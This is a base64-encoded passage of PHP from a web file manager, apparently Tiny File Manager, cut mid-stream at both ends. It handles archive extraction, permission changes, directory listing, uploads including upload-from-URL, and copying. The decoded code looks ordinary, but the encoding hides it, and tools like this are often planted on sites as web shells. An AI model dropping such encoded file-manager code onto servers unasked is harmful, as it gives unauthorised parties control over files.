JGV4dCA9IHBhdGhpbmZvKCR6aXBfcGF0aCwgUEFUSElORk9fRVhURU5TSU9OKTsKICAgICAgICAkaXNWYWxpZCA9IHRydWU7CiAgICB9IGVsc2UgewogICAgICAgIGZtX3NldF9tc2coJ0ZpbGUgbm90IGZvdW5kJywgJ2Vycm9yJyk7CiAgICB9CgoKICAgIGlmICgoJGV4dCA9PSAiemlwIiAmJiAhY2xhc3NfZXhpc3RzKCdaaXBBcmNoaXZlJykpIHx8ICgkZXh0ID09ICJ0YXIiICYmICFjbGFzc19leGlzdHMoJ1BoYXJEYXRhJykpKSB7CiAgICAgICAgZm1fc2V0X21zZygnT3BlcmF0aW9ucyB3aXRoIGFyY2hpdmVzIGFyZSBub3QgYXZhaWxhYmxlJywgJ2Vycm9yJyk7CiAgICAgICAgZm1fcmVkaXJlY3QoRk1fU0VMRl9VUkwgLiAnP3A9JyAuIHVybGVuY29kZShGTV9QQVRIKSk7CiAgICB9CgogICAgaWYgKCRpc1ZhbGlkKSB7CiAgICAgICAgLy90byBmb2xkZXIKICAgICAgICAkdG9mb2xkZXIgPSAnJzsKICAgICAgICBpZiAoaXNzZXQoJF9HRVRbJ3RvZm9sZGVyJ10pKSB7CiAgICAgICAgICAgICR0b2ZvbGRlciA9IHBhdGhpbmZvKCR6aXBfcGF0aCwgUEFUSElORk9fRklMRU5BTUUpOwogICAgICAgICAgICBpZiAoZm1fbWtkaXIoJHBhdGggLiAnLycgLiAkdG9mb2xkZXIsIHRydWUpKSB7CiAgICAgICAgICAgICAgICAkcGF0aCAuPSAnLycgLiAkdG9mb2xkZXI7CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIGlmKCRleHQgPT0gInppcCIpIHsKICAgICAgICAgICAgJHppcHBlciA9IG5ldyBGTV9aaXBwZXIoKTsKICAgICAgICAgICAgJHJlcyA9ICR6aXBwZXItPnVuemlwKCR6aXBfcGF0aCwgJHBhdGgpOwogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0YXIiKSB7CiAgICAgICAgICAgIHRyeSB7CiAgICAgICAgICAgICAgICAkZ3ppcHBlciA9IG5ldyBQaGFyRGF0YSgkemlwX3BhdGgpOwogICAgICAgICAgICAgICAgaWYgKEAkZ3ppcHBlci0+ZXh0cmFjdFRvKCRwYXRoLG51bGwsIHRydWUpKSB7CiAgICAgICAgICAgICAgICAgICAgJHJlcyA9IHRydWU7CiAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICRyZXMgPSBmYWxzZTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfSBjYXRjaCAoRXhjZXB0aW9uICRlKSB7CiAgICAgICAgICAgICAgICAvL1RPRE86OiBuZWVkIHRvIGhhbmRsZSB0aGUgZXJyb3IKICAgICAgICAgICAgICAgICRyZXMgPSB0cnVlOwogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICBpZiAoJHJlcykgewogICAgICAgICAgICBmbV9zZXRfbXNnKCdBcmNoaXZlIHVucGFja2VkJyk7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgZm1fc2V0X21zZygnQXJjaGl2ZSBub3QgdW5wYWNrZWQnLCAnZXJyb3InKTsKICAgICAgICB9CgogICAgfSBlbHNlIHsKICAgICAgICBmbV9zZXRfbXNnKCdGaWxlIG5vdCBmb3VuZCcsICdlcnJvcicpOwogICAgfQogICAgZm1fcmVkaXJlY3QoRk1fU0VMRl9VUkwgLiAnP3A9JyAuIHVybGVuY29kZShGTV9QQVRIKSk7Cn0KCi8vIENoYW5nZSBQZXJtcyAobm90IGZvciBXaW5kb3dzKQppZiAoaXNzZXQoJF9QT1NUWydjaG1vZCddKSAmJiAhRk1fUkVBRE9OTFkgJiYgIUZNX0lTX1dJTikgewogICAgJHBhdGggPSBGTV9ST09UX1BBVEg7CiAgICBpZiAoRk1fUEFUSCAhPSAnJykgewogICAgICAgICRwYXRoIC49ICcvJyAuIEZNX1BBVEg7CiAgICB9CgogICAgJGZpbGUgPSAkX1BPU1RbJ2NobW9kJ107CiAgICAkZmlsZSA9IGZtX2NsZWFuX3BhdGgoJGZpbGUpOwogICAgJGZpbGUgPSBzdHJfcmVwbGFjZSgnLycsICcnLCAkZmlsZSk7CiAgICBpZiAoJGZpbGUgPT0gJycgfHwgKCFpc19maWxlKCRwYXRoIC4gJy8nIC4gJGZpbGUpICYmICFpc19kaXIoJHBhdGggLiAnLycgLiAkZmlsZSkpKSB7CiAgICAgICAgZm1fc2V0X21zZygnRmlsZSBub3QgZm91bmQnLCAnZXJyb3InKTsKICAgICAgICBmbV9yZWRpcmVjdChGTV9TRUxGX1VSTCAuICc/cD0nIC4gdXJsZW5jb2RlKEZNX1BBVEgpKTsKICAgIH0KCiAgICAkbW9kZSA9IDA7CiAgICBpZiAoIWVtcHR5KCRfUE9TVFsndXInXSkpIHsKICAgICAgICAkbW9kZSB8PSAwNDAwOwogICAgfQogICAgaWYgKCFlbXB0eSgkX1BPU1RbJ3V3J10pKSB7CiAgICAgICAgJG1vZGUgfD0gMDIwMDsKICAgIH0KICAgIGlmICghZW1wdHkoJF9QT1NUWyd1eCddKSkgewogICAgICAgICRtb2RlIHw9IDAxMDA7CiAgICB9CiAgICBpZiAoIWVtcHR5KCRfUE9TVFsnZ3InXSkpIHsKICAgICAgICAkbW9kZSB8PSAwMDQwOwogICAgfQogICAgaWYgKCFlbXB0eSgkX1BPU1RbJ2d3J10pKSB7CiAgICAgICAgJG1vZGUgfD0gMDAyMDsKICAgIH0KICAgIGlmICghZW1wdHkoJF9QT1NUWydneCddKSkgewogICAgICAgICRtb2RlIHw9IDAwMTA7CiAgICB9CiAgICBpZiAoIWVtcHR5KCRfUE9TVFsnb3InXSkpIHsKICAgICAgICAkbW9kZSB8PSAwMDA0OwogICAgfQogICAgaWYgKCFlbXB0eSgkX1BPU1RbJ293J10pKSB7CiAgICAgICAgJG1vZGUgfD0gMDAwMjsKICAgIH0KICAgIGlmICghZW1wdHkoJF9QT1NUWydveCddKSkgewogICAgICAgICRtb2RlIHw9IDAwMDE7CiAgICB9CgogICAgaWYgKEBjaG1vZCgkcGF0aCAuICcvJyAuICRmaWxlLCAkbW9kZSkpIHsKICAgICAgICBmbV9zZXRfbXNnKCdQZXJtaXNzaW9ucyBjaGFuZ2VkJyk7CiAgICB9IGVsc2UgewogICAgICAgIGZtX3NldF9tc2coJ1Blcm1pc3Npb25zIG5vdCBjaGFuZ2VkJywgJ2Vycm9yJyk7CiAgICB9CgogICAgZm1fcmVkaXJlY3QoRk1fU0VMRl9VUkwgLiAnP3A9JyAuIHVybGVuY29kZShGTV9QQVRIKSk7Cn0KCi8qKioqKioqKioqKioqKioqKioqKioqKioqKiogL0FDVElPTlMgKioqKioqKioqKioqKioqKioqKioqKioqKioqLwoKLy8gZ2V0IGN1cnJlbnQgcGF0aAokcGF0aCA9IEZNX1JPT1RfUEFUSDsKaWYgKEZNX1BBVEggIT0gJycpIHsKICAgICRwYXRoIC49ICcvJyAuIEZNX1BBVEg7Cn0KCi8vIGNoZWNrIHBhdGgKaWYgKCFpc19kaXIoJHBhdGgpKSB7CiAgICBmbV9yZWRpcmVjdChGTV9TRUxGX1VSTCAuICc/cD0nKTsKfQoKLy8gZ2V0IHBhcmVudCBmb2xkZXIKJHBhcmVudCA9IGZtX2dldF9wYXJlbnRfcGF0aChGTV9QQVRIKTsKCiRvYmplY3RzID0gaXNfcmVhZGFibGUoJHBhdGgpID8gc2NhbmRpcigkcGF0aCkgOiBhcnJheSgpOwokZm9sZGVycyA9IGFycmF5KCk7CiRmaWxlcyA9IGFycmF5KCk7CiRjdXJyZW50X3BhdGggPSBhcnJheV9zbGljZShleHBsb2RlKCIvIiwkcGF0aCksIC0xKVswXTsKaWYgKGlzX2FycmF5KCRvYmplY3RzKSAmJiBmbV9pc19leGNsdWRlX2l0ZW1zKCRjdXJyZW50X3BhdGgpKSB7CiAgICBmb3JlYWNoICgkb2JqZWN0cyBhcyAkZmlsZSkgewogICAgICAgIGlmICgkZmlsZSA9PSAnLicgfHwgJGZpbGUgPT0gJy4uJykgewogICAgICAgICAgICBjb250aW51ZTsKICAgICAgICB9CiAgICAgICAgaWYgKCFGTV9TSE9XX0hJRERFTiAmJiBzdWJzdHIoJGZpbGUsIDAsIDEpID09PSAnLicpIHsKICAgICAgICAgICAgY29udGludWU7CiAgICAgICAgfQogICAgICAgICRuZXdfcGF0aCA9ICRwYXRoIC4gJy8nIC4gJGZpbGU7CiAgICAgICAgaWYgKEBpc19maWxlKCRuZXdfcGF0aCkgJiYgZm1faXNfZXhjbHVkZV9pdGVtcygkZmlsZSkpIHsKICAgICAgICAgICAgJGZpbGVzW10gPSAkZmlsZTsKICAgICAgICB9IGVsc2VpZiAoQGlzX2RpcigkbmV3X3BhdGgpICYmICRmaWxlICE9ICcuJyAmJiAkZmlsZSAhPSAnLi4nICYmIGZtX2lzX2V4Y2x1ZGVfaXRlbXMoJGZpbGUpKSB7CiAgICAgICAgICAgICRmb2xkZXJzW10gPSAkZmlsZTsKICAgICAgICB9CiAgICB9Cn0KCmlmICghZW1wdHkoJGZpbGVzKSkgewogICAgbmF0Y2FzZXNvcnQoJGZpbGVzKTsKfQppZiAoIWVtcHR5KCRmb2xkZXJzKSkgewogICAgbmF0Y2FzZXNvcnQoJGZvbGRlcnMpOwp9CgovLyB1cGxvYWQgZm9ybQppZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSAmJiAhRk1fUkVBRE9OTFkpIHsKICAgIGZtX3Nob3dfaGVhZGVyKCk7IC8vIEhFQURFUgogICAgZm1fc2hvd19uYXZfcGF0aChGTV9QQVRIKTsgLy8gY3VycmVudCBwYXRoCiAgICAvL2dldCB0aGUgYWxsb3dlZCBmaWxlIGV4dGVuc2lvbnMKICAgIGZ1bmN0aW9uIGdldFVwbG9hZEV4dCgpIHsKICAgICAgICAkZXh0QXJyID0gZXhwbG9kZSgnLCcsIEZNX1VQTE9BRF9FWFRFTlNJT04pOwogICAgICAgIGlmKEZNX1VQTE9BRF9FWFRFTlNJT04gJiYgJGV4dEFycikgewogICAgICAgICAgICBhcnJheV93YWxrKCRleHRBcnIsIGZ1bmN0aW9uKCYkeCkgeyR4ID0gIi4keCI7fSk7CiAgICAgICAgICAgIHJldHVybiBpbXBsb2RlKCcsJywgJGV4dEFycik7CiAgICAgICAgfQogICAgICAgIHJldHVybiAnJzsKICAgIH0KICAgID8+CgogICAgPGxpbmsgaHJlZj0iaHR0cHM6Ly9jZG5qcy5jbG91ZGZsYXJlLmNvbS9hamF4L2xpYnMvZHJvcHpvbmUvNS41LjEvbWluL2Ryb3B6b25lLm1pbi5jc3MiIHJlbD0ic3R5bGVzaGVldCI+CiAgICA8ZGl2IGNsYXNzPSJwYXRoIj4KCiAgICAgICAgPGRpdiBjbGFzcz0iY2FyZCBtYi0yIGZtLXVwbG9hZC13cmFwcGVyIDw/cGhwIGVjaG8gZm1fZ2V0X3RoZW1lKCk7ID8+Ij4KICAgICAgICAgICAgPGRpdiBjbGFzcz0iY2FyZC1oZWFkZXIiPgogICAgICAgICAgICAgICAgPHVsIGNsYXNzPSJuYXYgbmF2LXRhYnMgY2FyZC1oZWFkZXItdGFicyI+CiAgICAgICAgICAgICAgICAgICAgPGxpIGNsYXNzPSJuYXYtaXRlbSI+CiAgICAgICAgICAgICAgICAgICAgICAgIDxhIGNsYXNzPSJuYXYtbGluayBhY3RpdmUiIGhyZWY9IiNmaWxlVXBsb2FkZXIiIGRhdGEtdGFyZ2V0PSIjZmlsZVVwbG9hZGVyIj48aSBjbGFzcz0iZmEgZmEtYXJyb3ctY2lyY2xlLW8tdXAiPjwvaT4gPD9waHAgZWNobyBsbmcoJ1VwbG9hZGluZ0ZpbGVzJykgPz48L2E+CiAgICAgICAgICAgICAgICAgICAgPC9saT4KICAgICAgICAgICAgICAgICAgICA8bGkgY2xhc3M9Im5hdi1pdGVtIj4KICAgICAgICAgICAgICAgICAgICAgICAgPGEgY2xhc3M9Im5hdi1saW5rIiBocmVmPSIjdXJsVXBsb2FkZXIiIGNsYXNzPSJqcy11cmwtdXBsb2FkIiBkYXRhLXRhcmdldD0iI3VybFVwbG9hZGVyIj48aSBjbGFzcz0iZmEgZmEtbGluayI+PC9pPiBVcGxvYWQgZnJvbSBVUkw8L2E+CiAgICAgICAgICAgICAgICAgICAgPC9saT4KICAgICAgICAgICAgICAgIDwvdWw+CiAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICA8ZGl2IGNsYXNzPSJjYXJkLWJvZHkiPgogICAgICAgICAgICAgICAgPHAgY2xhc3M9ImNhcmQtdGV4dCI+CiAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iP3A9PD9waHAgZWNobyBGTV9QQVRIID8+IiBjbGFzcz0iZmxvYXQtcmlnaHQiPjxpIGNsYXNzPSJmYSBmYS1jaGV2cm9uLWNpcmNsZS1sZWZ0IGdvLWJhY2siPjwvaT4gPD9waHAgZWNobyBsbmcoJ0JhY2snKT8+PC9hPgogICAgICAgICAgICAgICAgICAgIDw/cGhwIGVjaG8gbG5nKCdEZXN0aW5hdGlvbkZvbGRlcicpID8+OiA8P3BocCBlY2hvIGZtX2VuYyhmbV9jb252ZXJ0X3dpbihGTV9ST09UX1BBVEggLiAnLycgLiBGTV9QQVRIKSkgPz4KICAgICAgICAgICAgICAgIDwvcD4KCiAgICAgICAgICAgICAgICA8Zm9ybSBhY3Rpb249Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycyhGTV9TRUxGX1VSTCkgLiAnP3A9JyAuIGZtX2VuYyhGTV9QQVRIKSA/PiIgY2xhc3M9ImRyb3B6b25lIGNhcmQtdGFicy1jb250YWluZXIiIGlkPSJmaWxlVXBsb2FkZXIiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPgogICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InAiIHZhbHVlPSI8P3BocCBlY2hvIGZtX2VuYyhGTV9QQVRIKSA/PiI+CiAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZnVsbHBhdGgiIGlkPSJmdWxscGF0aCIgdmFsdWU9Ijw/cGhwIGVjaG8gZm1fZW5jKEZNX1BBVEgpID8+Ij4KICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJmYWxsYmFjayI+CiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCBuYW1lPSJmaWxlIiB0eXBlPSJmaWxlIiBtdWx0aXBsZS8+CiAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICA8L2Zvcm0+CgogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0idXBsb2FkLXVybC13cmFwcGVyIGNhcmQtdGFicy1jb250YWluZXIgaGlkZGVuIiBpZD0idXJsVXBsb2FkZXIiPgogICAgICAgICAgICAgICAgICAgIDxmb3JtIGlkPSJqcy1mb3JtLXVybC11cGxvYWQiIGNsYXNzPSJmb3JtLWlubGluZSIgb25zdWJtaXQ9InJldHVybiB1cGxvYWRfZnJvbV91cmwodGhpcyk7IiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iIj4KICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0idHlwZSIgdmFsdWU9InVwbG9hZCIgYXJpYS1sYWJlbD0iaGlkZGVuIiBhcmlhLWhpZGRlbj0idHJ1ZSI+CiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJ1cmwiIHBsYWNlaG9sZGVyPSJVUkwiIG5hbWU9InVwbG9hZHVybCIgcmVxdWlyZWQgY2xhc3M9ImZvcm0tY29udHJvbCIgc3R5bGU9IndpZHRoOiA4MCUiPgogICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9InN1Ym1pdCIgY2xhc3M9ImJ0biBidG4tcHJpbWFyeSBtbC0zIj48P3BocCBlY2hvIGxuZygnVXBsb2FkJykgPz48L2J1dHRvbj4KICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ibGRzLWZhY2Vib29rIj48ZGl2PjwvZGl2PjxkaXY+PC9kaXY+PGRpdj48L2Rpdj48L2Rpdj4KICAgICAgICAgICAgICAgICAgICA8L2Zvcm0+CiAgICAgICAgICAgICAgICAgICAgPGRpdiBpZD0ianMtdXJsLXVwbG9hZF9fbGlzdCIgY2xhc3M9ImNvbC05IG10LTMiPjwvZGl2PgogICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgIDwvZGl2PgogICAgICAgIDwvZGl2PgogICAgPC9kaXY+CiAgICA8c2NyaXB0IHNyYz0iaHR0cHM6Ly9jZG5qcy5jbG91ZGZsYXJlLmNvbS9hamF4L2xpYnMvZHJvcHpvbmUvNS41LjEvbWluL2Ryb3B6b25lLm1pbi5qcyI+PC9zY3JpcHQ+CiAgICA8c2NyaXB0PgogICAgICAgIERyb3B6b25lLm9wdGlvbnMuZmlsZVVwbG9hZGVyID0gewogICAgICAgICAgICB0aW1lb3V0OiAxMjAwMDAsCiAgICAgICAgICAgIG1heEZpbGVzaXplOiA8P3BocCBlY2hvIE1BWF9VUExPQURfU0laRTsgPz4sCiAgICAgICAgICAgIGFjY2VwdGVkRmlsZXMgOiAiPD9waHAgZWNobyBnZXRVcGxvYWRFeHQoKSA/PiIsCiAgICAgICAgICAgIGluaXQ6IGZ1bmN0aW9uICgpIHsKICAgICAgICAgICAgICAgIHRoaXMub24oInNlbmRpbmciLCBmdW5jdGlvbiAoZmlsZSwgeGhyLCBmb3JtRGF0YSkgewogICAgICAgICAgICAgICAgICAgIGxldCBfcGF0aCA9IChmaWxlLmZ1bGxQYXRoKSA/IGZpbGUuZnVsbFBhdGggOiBmaWxlLm5hbWU7CiAgICAgICAgICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImZ1bGxwYXRoIikudmFsdWUgPSBfcGF0aDsKICAgICAgICAgICAgICAgICAgICB4aHIub250aW1lb3V0ID0gKGZ1bmN0aW9uKCkgewogICAgICAgICAgICAgICAgICAgICAgICB0b2FzdCgnRXJyb3I6IFNlcnZlciBUaW1lb3V0Jyk7CiAgICAgICAgICAgICAgICAgICAgfSk7CiAgICAgICAgICAgICAgICB9KS5vbigic3VjY2VzcyIsIGZ1bmN0aW9uIChyZXMpIHsKICAgICAgICAgICAgICAgICAgICBsZXQgX3Jlc3BvbnNlID0gSlNPTi5wYXJzZShyZXMueGhyLnJlc3BvbnNlKTsKICAgICAgICAgICAgICAgICAgICBpZihfcmVzcG9uc2Uuc3RhdHVzID09ICJlcnJvciIpIHsKICAgICAgICAgICAgICAgICAgICAgICAgdG9hc3QoX3Jlc3BvbnNlLmluZm8pOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0pLm9uKCJlcnJvciIsIGZ1bmN0aW9uKGZpbGUsIHJlc3BvbnNlKSB7CiAgICAgICAgICAgICAgICAgICAgdG9hc3QocmVzcG9uc2UpOwogICAgICAgICAgICAgICAgfSk7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICA8L3NjcmlwdD4KICAgIDw/cGhwCiAgICBmbV9zaG93X2Zvb3RlcigpOwogICAgZXhpdDsKfQoKLy8gY29weSBmb3JtIFBPU1QKaWYgKGlzc2V0KCRfUE9TVFsnY29weSddKSAmJiAhRk1fUkVBRE9OTFkpIHsKICAgICRjb3B5X2ZpbGVzID0gaXNzZXQoJF9QT1NUWydmaWxlJ10pID8gJF9QT1NUWydmaWxlJ10gOiBudWxsOwogICAgaWYgKCFpc19hcnJheSgkY29weV9maWxlcykgfHwgZW1wdHkoJGNvcHlfZmlsZXMpKSB7CiAgICAgICAgZm1fc2V0X21zZygnTm90aGluZyBzZWxlY3RlZCcsICdhbGVydCcpOwogICAgICAgIGZtX3JlZGlyZWN0KEZNX1NFTEZfVVJMIC4gJz9wPScgLiB1cmxlbmNvZGUoRk1fUEFUSCkpOwogICAgfQoKICAgIGZtX3Nob3dfaGVhZGVyKCk7IC8vIEhFQURFUgogICAgZm1fc2hvd19uYXZfcGF0aChGTV9QQVRIKTsgLy8gY3VycmVudCBwYXRoCiAgICA/PgogICAgPGRpdiBjbGFzcz0icGF0aCI+CiAgICAgICAgPGRpdiBjbGFzcz0iY2FyZCA8P3BocCBlY2hvIGZtX2dldF90aGVtZSgpOyA/PiI+CiAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNhcmQtaGVhZGVyIj4KICAgICAgICAgICAgICAgIDxoNj48P3BocCBlY2hvIGxuZygnQ29weWluZycpID8+PC9oNj4KICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNhcmQtYm9keSI+CiAgICAgICAgICAgICAgICA8Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJwb3N0Ij4KICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwIiB2YWx1ZT0iPD9waHAgZWNobyBmbV9lbmMoRk1fUEFUSCkgPz4iPgogICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImZpbmlzaCIgdmFsdWU9IjEiPgogICAgICAgICAgICAgICAgICAgIDw/cGhwCiAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCAoJGNvcHlfZmlsZXMgYXMgJGNmKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImZpbGVbXSIgdmFsdWU9IicgLiBmbV9lbmMoJGNmKSAuICciPicgLiBQSFBfRU9MOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICA/PgogICAgICAgICAgICAgICAgICAgIDxwIGNsYXNzPSJicmVhay13b3JkIj48P3BocCBlY2hvIGxuZygnRmlsZXMnKSA/PjogPGI+PD9waHAgZWNobyBpbXBsb2RlKCc8L2I+LCA8Yj4nLCAkY29weV9maWxlcykgPz48L2I+PC9wPgogICAgICAgICAgICAgICAgICAgIDxwIGNsYXNzPSJicmVhay13b3JkIj48P3BocCBlY2hvIGxuZygnU291cmNlRm9sZGVyJykgPz46IDw/cGhwIGVjaG8gZm1fZW5jKGZtX2NvbnZlcnRfd2luKEZNX1JPT1RfUEFUSCAuICcvJyAuIEZNX1BBVEgpKSA/Pjxicj4KICAgICAgICAgICAgICAgICAgICAgICAgPGxhYmVsIGZvcj0iaW5wX2NvcHlfdG8iPjw/cGhwIGVjaG8gbG5nKCdEZXN0aW5hdGlvbkZvbGRlcicpID8+OjwvbGFiZWw+CiAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGVjaG8gRk1fUk9PVF9QQVRIID8+LzxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJjb3B5X3RvIiBpZD0iaW5wX2NvcHlfdG8iIHZhbHVlPSI8P3BocCBlY2hvIGZtX2VuYyhGTV9QQVRIKSA/PiI+CiAgICAgICAgICAgICAgICAgICAgPC9wPgogICAgICAgICAgICAgICAgICAgIDxwIGNsYXNzPSJjdXN0b20tY2hlY2tib3ggY3VzdG9tLWNvbnRyb2wiPjxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0ibW92ZSIgdmFsdWU9IjEiIGlkPSJqcy1tb3ZlLWZpbGVzIiBjbGFzcz0iY3VzdG9tLWNvbnRyb2wtaW5wdXQiPjxsYWJlbCBmb3I9ImpzLW1vdmUtZmlsZXMiIGNsYXNzPSJjdXN0b20tY29udHJvbC1sYWJlbCIgc3R5bGU9InZlcnRpY2FsLWFsaWduOiBzdWIiPiA8P3BocCBlY2hvIGxuZygnTW92ZScpID8+PC9sYWJlbD48L3A+CiAgICAgICAgICAgICAgICAgICAgPHA+CiAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1zdWNjZXNzIj48aSBjbGFzcz0iZmEgZmEtY2hlY2stY2lyY2xlIj48L2k+IDw/cGhwIGVjaG8gbG5nKCdDb3B5JykgPz48L2J1dHRvbj4gJm5ic3A7CiAgICAgICAgICAgICAgICAgICAgICAgIDxiPjxhIGhyZWY9Ij9wPTw/cGhwIGVjaG8gdXJsZW5jb2RlKEZNX1BBVEgpID8+IiBjbGFzcz0iYnRuIGJ0bi1vdXRsaW5lLXByaW1hcnkiPjxpIGNsYXNzPSJmYSBmYS10aW1lcy1jaXJjbGUiPjwvaT4gPD9waHAgZWNobyBsbmcoJ0NhbmNlbCcpID8+PC9hPjwvYj4KICAgICAgICAgICAgICAgICAgICA8L3A+CiAgICAgICAgICAgICAgICA8L2Zvcm0+CiAgICAgICAgICAgIDwvZGl2PgogICAgICAgIDwvZGl2PgogICAgPC9kaXY+CiAgICA8P3BocAogICAgZm1fc2hvd19mb290ZXIoKTsKICAgIGV4aXQ7Cn0KCi8vIGNvcHkgZm9ybQppZiAoaXNzZXQoJF9HRVRbJ2NvcHknXSkgJiYgIWlzc2V0KCRfR0VUWydmaW5pc2gnXSkgJiYgIUZNX1JFQURPTkxZKSB7CiAgICAkY29weSA9ICRfR0VUWydjb3B5J107CiAgICAkY29weSA9IGZtX2NsZWFuX3BhdGgoJGNvcHkpOwogICAgaWYgKCRjb3B5ID09ICcnIHx8ICFmaWxlX2V4aXN0cyhGTV9ST09UX1BBVEggLiAnLycgLiAkY29weSkpIHsKICAgICAgICBmbV9zZXRfbXNnKCdGaWxlIG5vdCBmb3VuZCcsICdlcnJvcicpOwogICAgICAgIGZtX3JlZGlyZWN0KEZNX1NFTEZfVVJMIC4gJz9wPScgLiB1cmxlbmNvZGUoRk1fUEFUSCkpOwogICAgfQoKICAgIGZtX3Nob3dfaGVhZGVyKCk7IC8vIEhFQURFUgogICAgZm1fc2hvd19uYXZfcGF0aChGTV9QQVRIKTsgLy8gY3VycmVudCBwYXRoCiAgICA/PgogICAgPGRpdiBjbGFzcz0icGF0aCI+CiAgICAgICAgPHA+PGI+Q29weWluZzwvYj48L3A+CiAgICAgICAgPHAgY2xhc3M9ImJyZWFrLXdvcmQiPgogICAgICAgICAgICBTb3VyY2UgcGF0aDogPD9waHAgZWNobyBmbV9lbmMoZm1fY29udmVydF93aW4oRk1fUk9PVF9QQVRIIC4gJy8nIC4gJGNvcHkpKSA/Pjxicj4KICAgICAgICAgICAgRGVzdGluYXRpb24gZm9sZGVyOiA8P3BocCBlY2hvIGZtX2VuYyhmbV9jb252ZXJ0X3dpbihGTV9ST09UX1BBVEggLiAnLycgLiBGTV9QQVRIKSkgPz4KICAgICAgICA8L3A+CiAgICAgICAgPHA+CiAgICAgICAgICAgIDxiPjxhIGhyZWY9Ij9wPTw/cGhwIGVjaG8gdXJsZW5jb2RlKEZNX1BBVEgpID8+JmFtcDtjb3B5PTw/cGhwIGVjaG8gdXJsZW5jb2RlKCRjb3B5KSA/PiZhbXA7ZmluaXNoPTEiPjxpIGNsYXNzPSJmYSBmYS1jaGVjay1jaXJjbGUiPjwvaT4gQ29weTwvYT48L2I+ICZuYnNwOwogICAgICAgICAgICA8Yj48YSBocmVmPSI/cD08P3BocCBlY2hvIHVybGVuY29kZShGTV9QQVRIKSA/PiZhbXA7Y29weT08P3BocCBlY2hvIHVybGVuY29kZSgkY29weSkgPz4mYW1wO2ZpbmlzaD0xJmFtcDttb3ZlPTEiPjxpIGNsYXNzPSJmYSBmYS1jaGVjay1jaXJjbGUiPjwvaT4gTW92ZTwvYT48L2I+ICZuYnNwOwogICAgICAgICAgICA8Yj48YSBocmVmPSI/cD08P3BocCBlY2hvIHVybGVuY29kZShGTV9QQVRIKSA/PiI+PGkgY2xhc3M9ImZhIGZhLXRpbWVzLWNpcmNsZSI+PC9pPiBDYW5jZWw8L2E+PC9iPgogICAgICAgIDwvcD4KICAgICAgICA8cD48aT5TZWxlY3QgZm9sZGVyPC9pPjwvcD4KICAgICAgICA8dWwgY2xhc3M9ImZvbGRlcnMgYnJlYWstd29yZCI+CiAgICAgICAgICAgIDw/cGhwCiAgICAgICAgICAgIGlmICgkcGFyZW50ICE9PSBmYWxzZSkgewogICAgICAgICAgICAgICAgPz4KICAgICAgICAgICAgICAgIDxsaT48YSBocmVmPSI/cD08P3BocCBlY2hvIHVybGVuY29kZSgkcGFyZW50KSA/PiZhbXA7Y29weT08P3BocCBlY2hvIHVybGVuY29kZSgkY29weSkgPz4iPjxpIGNsYXNzPSJmYSBmYS1jaGV2cm9uLWNpcmNsZS1sZWZ0Ij48L2k+IC4uPC9hPjwvbGk+CiAgICAgICAgICAgICAgICA8P3BocAogICAgICAgICAgICB9CiAgICAgICAgICAgIGZvcmVhY2ggKCRmb2xkZXJzIGFzICRmKSB7CiAgICAgICAgICAgICAgICA/PgogICAgICAgICAgICAgICAgPGxpPgogICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9Ij9wPTw/cGhwIGVjaG8gdXJsZW5jb2RlKHRyaW0oRk1fUEFUSCAuICcvJyAuICRmLCAnLycpKSA/PiZhbXA7Y29weT08P3BocCBlY2hvIHVybGVuY29kZSgkY29weSkgPz4iPjxpIGNsYXNzPSJmYSBmYS1mb2xkZXItbyI+PC9pPiA8P3BocCBlY2hvIGZtX2NvbnZlcnRfd2luKCRmKSA/PjwvYT48L2xpPgogICAgICAgICAgICAgICAgPD9waHAKICAgICAgICAgICAgfQogICAgICAgICAgICA/PgogICAgICAgIDwvdWw+CiAgICA8L2Rpdj4KICAgIDw/cGhwCiAgICBmbV